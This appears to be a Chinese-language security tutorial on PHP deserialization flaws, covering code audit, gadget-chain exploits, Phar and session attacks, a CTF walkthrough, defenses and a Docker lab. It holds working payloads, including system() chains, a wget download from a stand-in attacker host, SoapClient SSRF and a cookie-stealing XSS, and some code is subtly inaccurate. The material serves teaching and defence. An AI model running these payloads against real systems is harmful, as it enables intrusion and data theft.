PHP反序列化漏洞实战:从代码审计到漏洞利用的完整指南

如果你写过PHP,大概率用过serialize()和unserialize()这对函数。它们让对象在网络传输或持久化存储时变得方便,但也埋下了不少安全隐患。我见过太多开发者,包括一些经验丰富的同行,在代码里随意使用unserialize($_GET['data'])这样的写法,结果被攻击者轻松拿下服务器权限。

反序列化漏洞之所以危险,是因为它往往隐藏在看似无害的数据处理逻辑中。攻击者不需要直接执行代码,只需要构造一个特殊的序列化字符串,就能触发程序中的魔术方法,进而执行任意命令。这种攻击方式隐蔽性强,危害大,是Web安全中必须掌握的重点。

这篇文章不会只讲理论,我会带你从实际代码审计开始,一步步分析漏洞成因,手把手教你构造利用链,最后给出切实可行的修复方案。无论你是想提升代码安全性的开发者,还是想深入理解漏洞原理的安全研究员,这里都有你需要的内容。

1. 理解PHP序列化与反序列化的核心机制

1.1 序列化格式深度解析

PHP的序列化格式看似简单,实则暗藏玄机。先看一个基础例子:

class User {
    public $username = 'admin';
    protected $email = 'admin@example.com';
    private $password = 'secret123';
}

$user = new User();
echo serialize($user);

输出结果会是:

O:4:"User":3:{s:8:"username";s:5:"admin";s:6:"*email";s:17:"admin@example.com";s:15:"Userpassword";s:8:"secret123";}

这里有几个关键点需要注意:

访问修饰符的影响:

  • public属性:直接显示属性名,如s:8:"username"
  • protected属性:属性名前添加\0*\0,序列化后显示为*email,但实际包含不可见字符
  • private属性:属性名前添加\0类名\0,如Userpassword

注意:这些不可见字符在URL传输时需要特别注意。如果直接复制序列化字符串进行测试,可能会因为字符编码问题导致反序列化失败。

数据类型表示: PHP序列化支持多种数据类型,每种都有特定的表示方式:

数据类型序列化格式示例说明
字符串s:5:"hello"s表示字符串,5是长度
整数i:42i表示整数
浮点数d:3.14d表示浮点数
布尔值b:1b:1为true,b:0为false
数组a:2:{i:0;s:3:"foo";i:1;s:3:"bar"}a表示数组,数字是元素个数
对象O:4:"User":1:{...}O表示对象,4是类名长度
NULLN大写N表示null

1.2 魔术方法的触发时机

魔术方法是反序列化漏洞的核心,理解它们的执行顺序至关重要:

class VulnerableClass {
    public $data;
    
    public function __construct() {
        echo "[*] 构造函数执行\n";
        $this->data = "initial";
    }
    
    public function __sleep() {
        echo "[*] __sleep() 执行\n";
        return ['data'];
    }
    
    public function __wakeup() {
        echo "[*] __wakeup() 执行\n";
        $this->data = "wakeup modified";
    }
    
    public function __destruct() {
        echo "[*] 析构函数执行,数据: " . $this->data . "\n";
    }
}

// 测试执行流程
$obj = new VulnerableClass();  // 输出: [*] 构造函数执行
$serialized = serialize($obj); // 输出: [*] __sleep() 执行
$newObj = unserialize($serialized); // 输出: [*] __wakeup() 执行
// 脚本结束时输出: [*] 析构函数执行,数据: wakeup modified

执行顺序总结:

  1. __construct():对象创建时调用,但反序列化时不调用
  2. __sleep():serialize()时调用,返回需要序列化的属性数组
  3. __wakeup():unserialize()时立即调用
  4. __destruct():对象销毁时调用(脚本结束或unset时)

这个顺序很重要,因为攻击者通常会利用__wakeup()或__destruct()中的代码执行点。

1.3 实际审计中的序列化识别

在真实代码审计中,你很少会看到明显的unserialize($_GET['data'])。更多时候,反序列化点隐藏在:

SESSION处理中:

// 危险:用户可控的session数据
session_start();
if (isset($_POST['session_data'])) {
    $_SESSION = unserialize(base64_decode($_POST['session_data']));
}

缓存数据读取:

// 从缓存读取用户数据
$userData = $redis->get('user:' . $userId);
if ($userData) {
    $user = unserialize($userData);  // 如果缓存被污染...
}

配置文件解析:

// 读取用户配置
$configFile = 'users/' . $username . '.config';
if (file_exists($configFile)) {
    $config = unserialize(file_get_contents($configFile));
}

识别这些隐藏的反序列化点,需要你对代码流有全局把握。我常用的方法是搜索unserialize(,然后向上追踪参数来源,判断是否用户可控。

2. 代码审计:发现潜在的反序列化漏洞

2.1 自动化工具辅助审计

虽然人工审计不可替代,但工具能大幅提高效率。我推荐结合使用:

静态分析工具:

# 使用grep搜索常见模式
grep -r "unserialize(" ./src --include="*.php"
grep -r "__destruct\|__wakeup\|__toString" ./src --include="*.php"

# 使用phpast进行AST分析
php -d "extension=ast.so" -r '
$code = file_get_contents("target.php");
$ast = ast\parse_code($code, $version=50);
function find_unserialize($node) {
    if ($node instanceof ast\Node && $node->kind === ast\AST_CALL) {
        $name = $node->children["expr"]->children["name"] ?? "";
        if ($name === "unserialize") {
            echo "找到unserialize调用\n";
        }
    }
    foreach ($node->children as $child) {
        if ($child instanceof ast\Node) {
            find_unserialize($child);
        }
    }
}
find_unserialize($ast);
'

动态分析技巧: 在开发环境中,可以添加调试代码来跟踪反序列化过程:

// 在全局包含文件中添加
function my_unserialize_debug($data) {
    $backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3);
    error_log("[UNSERIALIZE] 调用位置: " . 
              $backtrace[1]['file'] . ":" . $backtrace[1]['line']);
    error_log("[UNSERIALIZE] 数据: " . substr($data, 0, 100));
    return unserialize($data);
}

// 临时替换unserialize函数
if (DEBUG_MODE) {
    function unserialize($data, $options = []) {
        return my_unserialize_debug($data);
    }
}

2.2 危险函数调用链分析

找到unserialize()只是第一步,关键是要找到从反序列化点到危险函数的调用链。常见的危险函数包括:

// 代码执行类
eval($code);
assert($code);
system($command);
exec($command);
shell_exec($command);
popen($command, 'r');

// 文件操作类
file_put_contents($path, $data);
file_get_contents($url);
unlink($file);
include($file);
require($file);

// 数据库操作
mysqli_query($sql);
PDO::query($sql);

审计时,我通常会建立一张调用关系表:

类名魔术方法调用的方法最终危险函数用户可控参数
CacheHandler__destruct()deleteCache()unlink()$this->cacheFile
UserSession__wakeup()loadProfile()file_get_contents()$this->profileUrl
TemplateEngine__toString()render()eval()$this->templateCode

2.3 实际案例:CMS反序列化漏洞审计

让我们看一个简化但真实的案例。假设审计一个开源CMS,发现以下代码:

// File: /lib/Cache.php
class CacheManager {
    private $cacheDir;
    private $cacheFile;
    
    public function __construct($dir = '/tmp/cache') {
        $this->cacheDir = $dir;
    }
    
    public function setCache($key, $data) {
        $this->cacheFile = $this->cacheDir . '/' . md5($key);
        file_put_contents($this->cacheFile, serialize($data));
    }
    
    public function getCache($key) {
        $file = $this->cacheDir . '/' . md5($key);
        if (file_exists($file)) {
            return unserialize(file_get_contents($file));
        }
        return null;
    }
    
    public function __destruct() {
        // 清理过期缓存
        if ($this->cacheFile && file_exists($this->cacheFile)) {
            $mtime = filemtime($this->cacheFile);
            if (time() - $mtime > 3600) {
                unlink($this->cacheFile);  // 危险点!
            }
        }
    }
}

// File: /api/user.php
$cache = new CacheManager();
$userData = $cache->getCache($_GET['cache_key']);  // 用户可控

审计过程:

  1. 在user.php中发现getCache()调用,参数来自$_GET['cache_key']
  2. 跟踪到CacheManager::getCache(),发现unserialize()调用
  3. 查看CacheManager类的魔术方法,发现__destruct()中有unlink()调用
  4. 分析发现$this->cacheFile可控,可以删除任意文件

这就是一个典型的反序列化文件删除漏洞。攻击者可以构造特殊的序列化数据,控制$cacheFile为重要系统文件路径。

3. 构造利用链:从理论到实践

3.1 基础利用:直接代码执行

最简单的利用场景是__destruct()或__wakeup()中有直接的危险函数调用:

class Vulnerable {
    public $cmd;
    
    public function __destruct() {
        system($this->cmd);  // 直接执行系统命令
    }
}

// 攻击者构造的payload
$payload = new Vulnerable();
$payload->cmd = 'id; whoami; cat /etc/passwd';
echo serialize($payload);
// 输出: O:10:"Vulnerable":1:{s:3:"cmd";s:33:"id; whoami; cat /etc/passwd";}

但在实际中,这么明显的漏洞很少见。更多时候需要构造复杂的利用链。

3.2 属性注入攻击

当目标类没有直接的危险方法时,可以通过属性注入来利用其他类:

class Database {
    public $query;
    
    public function execute() {
        mysqli_query($this->connection, $this->query);
    }
}

class UserProfile {
    private $db;
    
    public function __construct() {
        $this->db = new Database();
    }
    
    public function __destruct() {
        $this->db->execute();  // 触发数据库查询
    }
}

// 攻击思路:控制$db为Database对象,并设置恶意query
$profile = new UserProfile();
$profile->db = new Database();
$profile->db->query = "DROP TABLE users;";
echo serialize($profile);

3.3 利用PHP内置类

PHP的一些内置类在反序列化时很有用,特别是当目标应用没有明显可利用的类时:

SoapClient SSRF利用:

// 利用SoapClient进行SSRF攻击
$target = 'http://internal-api:8080/admin';
$post_data = 'admin=1&action=delete_all';

$client = new SoapClient(null, [
    'location' => $target,
    'uri' => 'urn:test',
    'user_agent' => "test\r\nContent-Type: application/x-www-form-urlencoded\r\n".
                   "Content-Length: ".strlen($post_data)."\r\n\r\n".
                   $post_data
]);

$payload = serialize($client);
// 当这个对象被反序列化并调用任意方法时,会发送HTTP请求

Error/Exception对象XSS:

// 当对象被echo时触发__toString()
$error = new Error("<script>alert(document.cookie)</script>");
$payload = serialize($error);

// 如果应用有类似代码:
$data = unserialize($_GET['data']);
echo $data;  // 触发XSS

3.4 实际利用链构造示例

假设我们审计到以下代码结构:

class FileLogger {
    private $logFile;
    
    public function __destruct() {
        file_put_contents($this->logFile, date('Y-m-d H:i:s') . " - Log entry\n", FILE_APPEND);
    }
}

class UserManager {
    public $logger;
    
    public function saveUser() {
        // 保存用户逻辑
        $this->logger->log("User saved");
    }
}

class SystemCommand {
    public $command;
    
    public function execute() {
        return shell_exec($this->command);
    }
}

// 主应用代码
$data = $_COOKIE['user_prefs'];
$prefs = unserialize(base64_decode($data));

利用链构造步骤:

  1. 确定入口点:unserialize(base64_decode($_COOKIE['user_prefs']))
  2. 寻找终点:SystemCommand::execute()中的shell_exec()
  3. 连接路径:
    • 需要让$prefs成为UserManager对象
    • UserManager::saveUser()会调用$this->logger->log()
    • 如果$this->logger是FileLogger,但FileLogger没有log()方法
    • 需要利用PHP的魔术方法__call()

修改后的利用链:

class EvilLogger {
    public $command;
    
    public function __call($name, $args) {
        // 当调用不存在的方法时触发
        system($this->command);
    }
}

class UserManager {
    public $logger;
    
    public function __destruct() {
        // 析构时自动保存
        $this->saveUser();
    }
    
    public function saveUser() {
        $this->logger->log("test");  // 触发__call()
    }
}

// 构造payload
$manager = new UserManager();
$manager->logger = new EvilLogger();
$manager->logger->command = 'rm -f /tmp/backdoor; wget http://attacker.com/shell -O /tmp/backdoor';

echo base64_encode(serialize($manager));

4. 高级绕过技巧与实战案例

4.1 字符逃逸攻击

字符逃逸是反序列化中比较高级的技巧,利用过滤函数改变字符串长度,从而"吞掉"后续的结构:

class User {
    public $username;
    public $isAdmin = false;
}

function sanitize($input) {
    // 试图防止攻击,但反而制造了漏洞
    return str_replace('admin', 'user', $input);
}

$user = new User();
$user->username = 'admin';

// 正常序列化
$serialized = serialize($user);
// O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isAdmin";b:0;}

// 过滤后
$filtered = sanitize($serialized);
// O:4:"User":2:{s:8:"username";s:5:"user";s:7:"isAdmin";b:0;}
// 注意:长度还是5,但内容只有4个字符,这会破坏结构

利用方法:

// 目标:将isAdmin改为true
// 原始结构:";s:7:"isAdmin";b:0;}
// 目标结构:";s:7:"isAdmin";b:1;}

$payload = 'admin";s:7:"isAdmin";b:1;}';
// 序列化后:s:8:"username";s:24:"admin";s:7:"isAdmin";b:1;}";s:7:"isAdmin";b:0;}

// 计算需要多少admin来"吃掉"后面的字符
// 每个admin过滤后少1个字符,需要吃掉:";s:7:"isAdmin";b:0;} 共25个字符
// 所以需要25个admin

$user->username = str_repeat('admin', 25) . '";s:7:"isAdmin";b:1;}';

4.2 Phar反序列化攻击

Phar反序列化是近年来非常流行的攻击手法,它不直接依赖unserialize(),而是利用Phar文件的metadata:

// 创建恶意Phar文件
class Evil {
    public $cmd = 'id';
    
    public function __destruct() {
        system($this->cmd);
    }
}

// 生成Phar
@unlink('test.phar');
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$object = new Evil();
$object->cmd = 'uname -a';
$phar->setMetadata($object);
$phar->stopBuffering();

// 重命名为jpg绕过上传限制
rename('test.phar', 'test.jpg');

// 触发反序列化
file_get_contents('phar://./test.jpg/test.txt');
// 或者很多其他函数:exif_thumbnail、getimagesize等

可触发Phar反序列化的函数:

函数类别示例函数说明
文件操作file_get_contents()、file_exists()最常用
图像处理exif_thumbnail()、getimagesize()常用于绕过
压缩包ZipArchive::open()需要特定条件
其他hash_file()、md5_file()较少见但可用

4.3 Session反序列化漏洞

PHP的Session处理机制也可能成为反序列化攻击的入口:

// 漏洞代码:混合使用不同的session处理器
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['data'] = $_GET['data'];

// 另一处代码
ini_set('session.serialize_handler', 'php');
session_start();
// 这里会以php方式解析之前php_serialize格式的数据

利用方式:

// 攻击者提交:data=|O:8:"EvilClass":1:{s:4:"cmd";s:2:"id";}
// php_serialize格式存储:a:1:{s:4:"data";s:45:"|O:8:"EvilClass":1:{s:4:"cmd";s:2:"id";}";}

// php格式解析时,以|作为分隔符
// 会解析出:key="a:1:{s:4:\"data\";s:45:\"",value="O:8:"EvilClass":1:{s:4:"cmd";s:2:"id";}"
// 从而触发反序列化

4.4 实际CTF案例解析

让我们分析一个真实的CTF题目,看看如何综合运用这些技巧:

// 题目代码
class Welcome {
    public $name;
    public $arg;
    
    public function __construct($name, $arg) {
        $this->name = $name;
        $this->arg = $arg;
    }
    
    public function __destruct() {
        $this->name->{$this->arg}();
    }
}

class Show {
    public $source;
    public $str;
    
    public function __toString() {
        $content = $this->str['str']->source;
        return $content;
    }
}

class Show2 {
    public $flag;
    
    public function __get($key) {
        system($this->flag);
    }
}

// 用户输入点
$data = unserialize($_GET['data']);

解题思路:

  1. 分析调用链:

    • Welcome::__destruct()调用$this->name->{$this->arg}()
    • 如果$this->name是Show对象,调用不存在的$this->arg方法会触发__call(),但Show没有__call()
    • 需要让$this->name触发__toString()
  2. 构造利用链:

    $show2 = new Show2();
    $show2->flag = 'cat /flag';
    
    $show = new Show();
    $show->str = ['str' => $show2];
    $show->source = $show2;
    
    $welcome = new Welcome($show, 'not_exist_method');
    
    // 调用链:
    // Welcome::__destruct() -> $show->not_exist_method()
    // 由于Show没有not_exist_method,触发__call()?不对...
    // 实际上会尝试将$show作为字符串,触发__toString()
    // Show::__toString() -> $show->str['str']->source
    // 访问$show2->source,但Show2没有source属性,触发__get()
    // Show2::__get() -> system($this->flag)
    
  3. 最终payload:

    $show2 = new Show2();
    $show2->flag = 'cat /flag';
    
    $show = new Show();
    $show->source = $show2;
    $show->str = ['str' => $show2];
    
    $welcome = new Welcome($show, 'source');
    // 注意:这里$welcome->arg应该是'source',因为要触发__get()
    
    echo urlencode(serialize($welcome));
    

这个案例展示了如何通过多个类的魔术方法串联,形成完整的攻击链。在实际审计中,你需要耐心地分析每个类的属性和方法,找到连接点。

5. 防御与修复方案

5.1 输入验证与过滤

最直接的防御是在反序列化前进行严格的输入验证:

// 方法1:白名单验证
function safe_unserialize($data, $allowed_classes = []) {
    // 检查数据是否来自可信来源
    if (!is_string($data)) {
        return false;
    }
    
    // 使用PHP内置的过滤选项(PHP 7.0+)
    $result = unserialize($data, [
        'allowed_classes' => $allowed_classes  // 只允许特定的类
    ]);
    
    return $result;
}

// 只允许User和Config类
$data = safe_unserialize($_POST['data'], ['User', 'Config']);

// 方法2:签名验证
function verify_and_unserialize($data, $secret) {
    if (strlen($data) <= 64) {
        return false;  // 数据太短,不包含签名
    }
    
    $signature = substr($data, 0, 64);
    $payload = substr($data, 64);
    
    if (hash_hmac('sha256', $payload, $secret) === $signature) {
        return unserialize($payload, ['allowed_classes' => false]);
    }
    
    return false;
}

5.2 使用安全的替代方案

如果可能,尽量避免使用PHP原生序列化:

JSON方案:

// 序列化
$data = [
    'username' => 'admin',
    'role' => 'user'
];
$json = json_encode($data);

// 反序列化
$data = json_decode($json, true);
// 只得到数组,不会实例化对象

自定义序列化格式:

class SafeSerializer {
    public static function serialize($data) {
        if (is_object($data)) {
            throw new Exception('Objects not allowed');
        }
        
        if (is_array($data)) {
            $result = [];
            foreach ($data as $key => $value) {
                $result[$key] = self::serialize($value);
            }
            return 'a:' . json_encode($result);
        }
        
        if (is_string($data)) {
            return 's:' . strlen($data) . ':' . $data;
        }
        
        if (is_int($data)) {
            return 'i:' . $data;
        }
        
        if (is_bool($data)) {
            return 'b:' . ($data ? '1' : '0');
        }
        
        if (is_null($data)) {
            return 'N';
        }
        
        throw new Exception('Unsupported type');
    }
    
    public static function unserialize($str) {
        // 实现安全的解析逻辑,不实例化对象
    }
}

5.3 运行时防护

在无法避免使用unserialize()的情况下,可以添加运行时防护:

// 方法1:监控反序列化操作
class UnserializeMonitor {
    private static $depth = 0;
    private static $maxDepth = 10;
    
    public static function safe_unserialize($data) {
        self::$depth = 0;
        set_error_handler([self::class, 'errorHandler']);
        
        $result = unserialize($data, [
            'allowed_classes' => false,
            'max_depth' => self::$maxDepth
        ]);
        
        restore_error_handler();
        return $result;
    }
    
    private static function errorHandler($errno, $errstr) {
        // 记录异常反序列化尝试
        error_log("可疑反序列化: " . $errstr);
        return true;
    }
}

// 方法2:使用沙箱环境
class SandboxUnserialize {
    public static function execute($data, $callback) {
        // 在隔离进程中执行
        $descriptors = [
            0 => ['pipe', 'r'], // stdin
            1 => ['pipe', 'w'], // stdout
            2 => ['pipe', 'w']  // stderr
        ];
        
        $cmd = sprintf(
            'php -r "%s"',
            escapeshellarg('$data = ' . var_export($data, true) . ';
            $result = unserialize($data, ["allowed_classes" => false]);
            echo serialize($result);')
        );
        
        $process = proc_open($cmd, $descriptors, $pipes);
        $output = stream_get_contents($pipes[1]);
        fclose($pipes[1]);
        proc_close($process);
        
        return unserialize($output);
    }
}

5.4 架构层面的防护

最小权限原则:

  • 运行PHP的用户应该只有必要的最小权限
  • 避免使用root或管理员账户运行Web服务
  • 使用open_basedir限制文件访问范围
; php.ini配置
open_basedir = /var/www/html:/tmp
disable_functions = exec,passthru,shell_exec,system,proc_open,popen
allow_url_fopen = Off
allow_url_include = Off

代码审查与自动化检测:

  • 将反序列化漏洞检测纳入CI/CD流程
  • 使用静态分析工具定期扫描
  • 建立代码审查清单,包含反序列化相关检查项
# .gitlab-ci.yml 示例
code_scan:
  stage: test
  script:
    - phpcs --standard=SecurityStandard src/
    - phpstan analyse --level=max src/
    - # 自定义反序列化检测脚本
    - php detect_unserialize.php src/

5.5 应急响应与修复

当发现反序列化漏洞时,应该:

  1. 立即修复:

    // 临时修复:禁用危险功能
    if (strpos($input, 'O:') === 0) {
        // 可能是对象序列化,拒绝处理
        throw new SecurityException('可疑的序列化数据');
    }
    
    // 或使用临时补丁
    function temporary_fix_unserialize($data) {
        // 移除所有对象类型
        $data = preg_replace('/O:\d+:"[^"]+":/', 'N;', $data);
        return unserialize($data);
    }
    
  2. 日志与监控:

    // 记录所有反序列化操作
    function logged_unserialize($data) {
        $backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3);
        $log = sprintf(
            "[%s] 反序列化调用: %s:%d, 数据: %.100s\n",
            date('Y-m-d H:i:s'),
            $backtrace[1]['file'] ?? 'unknown',
            $backtrace[1]['line'] ?? 0,
            $data
        );
        
        file_put_contents('/var/log/unserialize.log', $log, FILE_APPEND);
        
        return unserialize($data, ['allowed_classes' => false]);
    }
    
  3. 长期加固:

    • 重构代码,移除不必要的反序列化
    • 实施严格的输入验证
    • 定期进行安全培训和代码审查

反序列化漏洞的修复不是一劳永逸的,需要持续的关注和维护。我在实际项目中见过太多"修复"后又被绕过的情况,关键是要建立纵深防御体系,而不是依赖单一防护措施。

6. 实战演练:从零搭建测试环境

6.1 Docker测试环境搭建

为了安全地测试反序列化漏洞,我推荐使用Docker隔离环境:

# Dockerfile
FROM php:7.4-apache

# 安装必要扩展
RUN docker-php-ext-install mysqli pdo_mysql

# 启用错误显示(仅测试环境)
RUN echo "display_errors = On" >> /usr/local/etc/php/php.ini && \
    echo "error_reporting = E_ALL" >> /usr/local/etc/php/php.ini

# 复制测试文件
COPY vuln_app/ /var/www/html/

# 设置权限
RUN chown -R www-data:www-data /var/www/html && \
    chmod -R 755 /var/www/html

EXPOSE 80

测试应用结构:

vuln_app/
├── index.php          # 主入口
├── classes/           # 类定义
│   ├── User.php
│   ├── Cache.php
│   └── Logger.php
├── api/              # API接口
│   └── user.php
└── tests/            # 测试用例
    └── exploit.php

6.2 漏洞代码示例

// vuln_app/classes/User.php
class User {
    public $id;
    public $username;
    public $profile;
    
    public function __construct($id, $username) {
        $this->id = $id;
        $this->username = $username;
        $this->profile = new UserProfile();
    }
    
    public function __destruct() {
        // 自动保存用户数据
        $this->profile->save();
    }
}

class UserProfile {
    public $data = [];
    private $storage;
    
    public function __construct() {
        $this->storage = new FileStorage('/tmp/user_profiles');
    }
    
    public function save() {
        $this->storage->write($this->data);
    }
}

class FileStorage {
    private $path;
    
    public function __construct($path) {
        $this->path = $path;
    }
    
    public function write($data) {
        $filename = $this->path . '/' . uniqid() . '.json';
        file_put_contents($filename, json_encode($data));
    }
    
    public function __call($method, $args) {
        // 动态方法调用
        if ($method === 'deleteAll') {
            array_map('unlink', glob($this->path . '/*'));
        }
    }
}

// vuln_app/api/user.php
require_once '../classes/User.php';

if (isset($_GET['data'])) {
    $userData = base64_decode($_GET['data']);
    $user = unserialize($userData);  // 漏洞点!
    
    if ($user instanceof User) {
        echo "Welcome back, " . $user->username;
    }
}

6.3 漏洞利用脚本

// tests/exploit.php
class EvilStorage {
    public $path;
    
    public function write($data) {
        // 什么都不做,避免干扰
    }
    
    public function __call($method, $args) {
        if ($method === 'save') {
            // 当FileStorage::save()被调用时,实际执行这里
            system('echo "Pwned!" > /tmp/pwned.txt');
        }
    }
}

class EvilProfile {
    public $data = [];
    public $storage;
    
    public function __construct() {
        $this->storage = new EvilStorage();
    }
}

class EvilUser {
    public $id = 1;
    public $username = 'attacker';
    public $profile;
    
    public function __construct() {
        $this->profile = new EvilProfile();
    }
}

// 构造payload
$evil = new EvilUser();
$payload = base64_encode(serialize($evil));

echo "Payload: " . $payload . "\n";
echo "URL: http://localhost/api/user.php?data=" . urlencode($payload) . "\n";

// 测试执行
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://localhost/api/user.php?data=' . urlencode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "\n";

// 检查是否成功
if (file_exists('/tmp/pwned.txt')) {
    echo "Exploit successful!\n";
    echo "File content: " . file_get_contents('/tmp/pwned.txt') . "\n";
} else {
    echo "Exploit failed\n";
}

6.4 防御改进版本

// secure_app/classes/User.php
class SecureUser {
    public $id;
    public $username;
    public $profile;
    
    public function __construct($id, $username) {
        $this->id = (int)$id;
        $this->username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');
        $this->profile = new SecureUserProfile();
    }
    
    public function __destruct() {
        // 移除自动保存,改为显式调用
        // $this->profile->save();
    }
    
    public static function fromSerialized($data) {
        // 安全的反序列化方法
        $allowed_classes = [self::class, SecureUserProfile::class];
        $user = unserialize($data, ['allowed_classes' => $allowed_classes]);
        
        if (!$user instanceof self) {
            throw new InvalidArgumentException('Invalid user data');
        }
        
        // 验证数据完整性
        $user->validate();
        
        return $user;
    }
    
    private function validate() {
        if (!is_int($this->id) || $this->id <= 0) {
            throw new InvalidArgumentException('Invalid user ID');
        }
        
        if (!is_string($this->username) || strlen($this->username) > 50) {
            throw new InvalidArgumentException('Invalid username');
        }
        
        if (!$this->profile instanceof SecureUserProfile) {
            throw new InvalidArgumentException('Invalid profile data');
        }
    }
    
    public function save() {
        // 显式保存,需要权限检查
        if (!$this->hasPermission('write')) {
            throw new PermissionDeniedException('No write permission');
        }
        
        $this->profile->save();
    }
    
    private function hasPermission($action) {
        // 实现权限检查逻辑
        return true;
    }
}

// secure_app/api/user.php
require_once '../classes/User.php';

if (isset($_GET['data'])) {
    try {
        $userData = base64_decode($_GET['data']);
        
        // 添加签名验证
        if (strlen($userData) < 64) {
            throw new Exception('Invalid data format');
        }
        
        $signature = substr($userData, 0, 64);
        $payload = substr($userData, 64);
        
        $expected = hash_hmac('sha256', $payload, SECRET_KEY);
        if (!hash_equals($expected, $signature)) {
            throw new Exception('Invalid signature');
        }
        
        // 使用安全的反序列化
        $user = SecureUser::fromSerialized($payload);
        
        echo "Welcome back, " . htmlspecialchars($user->username);
        
    } catch (Exception $e) {
        error_log("User deserialization failed: " . $e->getMessage());
        http_response_code(400);
        echo "Invalid request";
    }
}

这个测试环境可以帮助你:

  1. 安全地复现漏洞
  2. 测试各种利用技术
  3. 验证修复方案的有效性
  4. 培训开发人员识别和修复漏洞

记住,永远不要在生产环境测试漏洞利用!使用隔离的测试环境,避免对真实系统造成影响。

反序列化漏洞的挖掘和防御是一个持续的过程。随着PHP版本的更新和新的利用技术出现,我们需要不断学习新的防护方法。关键是要理解原理,而不仅仅是记忆payload。只有深入理解反序列化机制,才能写出更安全的代码,更有效地防御攻击。

更多推荐